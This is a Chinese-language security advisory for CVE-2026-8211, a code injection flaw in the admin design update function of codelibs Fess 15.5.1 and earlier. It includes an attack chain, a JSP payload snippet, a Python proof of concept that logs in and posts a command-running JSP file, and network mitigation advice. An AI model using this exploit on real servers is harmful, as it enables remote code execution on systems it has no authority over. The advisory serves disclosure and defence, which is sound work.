IPBUF安全漏洞报告
English
CVE-2026-8211 CVSS 4.7 中危

CVE-2026-8211 Fess JSP文件处理程序代码注入漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8211
漏洞类型
代码注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
codelibs Fess

相关标签

代码注入RCEcodelibs-fessJSP中危

漏洞概述

codelibs Fess 15.5.1及之前版本存在安全漏洞。该漏洞位于JSP文件处理组件中的AdminDesignAction.java文件的update函数内。由于对参数content缺乏充分过滤,经过身份认证的攻击者可操纵该参数触发代码注入。虽然攻击需要高权限,但漏洞可被远程利用,且已有公开的利用代码,厂商尚未回应。

技术细节

该漏洞的核心在于Fess系统处理设计更新请求时,未对用户提交的`content`参数进行严格的输入验证和过滤。在`org/codelibs/fess/app/web/admin/design/AdminDesignAction.java`文件的`update`方法中,系统直接将用户控制的数据传递给JSP文件处理程序。由于JSP允许在页面中嵌入Java代码,攻击者可以构造恶意的payload(如`<% Runtime.exec("cmd"); %>`)作为content内容发送。一旦服务器解析并保存该JSP文件,后续访问或编译该文件时,恶意代码将在服务器端执行。虽然CVSS评分显示需要高权限(PR:H),意味着攻击者通常需要管理员级别的访问权限才能触发该漏洞,但这为已获得初步访问权的攻击者提供了提权或维持权限的途径。鉴于厂商未发布补丁,风险依然存在。

攻击链分析

STEP 1
1. 获取高权限
攻击者通过钓鱼、弱口令爆破或其他方式获取Fess系统的管理员账户权限(PR:H)。
STEP 2
2. 构造恶意Payload
攻击者编写包含恶意Java代码的JSP脚本片段,作为`content`参数的值。
STEP 3
3. 发送恶意请求
攻击者向`/admin/design/update`接口发送POST请求,利用`update`函数漏洞提交恶意内容。
STEP 4
4. 代码执行
服务器端JSP文件处理程序处理该请求,将恶意代码写入文件或直接解析,导致系统执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable endpoint # Example: http://localhost:8080/fess/admin/design/update target_url = "http://target-host/fess/admin/design/update" # The malicious payload intended for the 'content' argument # This payload attempts to execute a shell command (e.g., 'calc.exe' or 'touch /tmp/pwned') jsp_payload = '<%@ page import="java.io.*" %><% Runtime.getRuntime().exec("touch /tmp/pwned"); %>' # Attacker credentials (High Privileges required as per PR:H) username = "admin" password = "admin_password" # Create a session to maintain authentication session = requests.Session() # Step 1: Login to obtain high privileges login_url = "http://target-host/fess/login" login_data = { "username": username, "password": password } print("[+] Attempting to login...") login_response = session.post(login_url, data=login_data) if login_response.status_code == 200: print("[+] Login successful.") # Step 2: Send the exploit payload # The vulnerable parameter is 'content', which is passed to the JSP File Handler exploit_data = { "content": jsp_payload, "fileName": "exploit.jsp" } print(f"[+] Sending payload to {target_url}...") exploit_response = session.post(target_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Payload sent successfully. Check if the code was injected.") else: print(f"[-] Failed to send payload. Status code: {exploit_response.status_code}") else: print("[-] Login failed.")

影响范围

codelibs Fess <= 15.5.1

防御指南

临时缓解措施
由于厂商尚未对此漏洞做出回应,建议暂时通过网络ACL限制对`/admin/design`接口的访问,仅允许必要的维护IP访问。同时,系统管理员应审查所有管理员账号的权限和日志,确保没有异常的JSP文件修改行为。

参考链接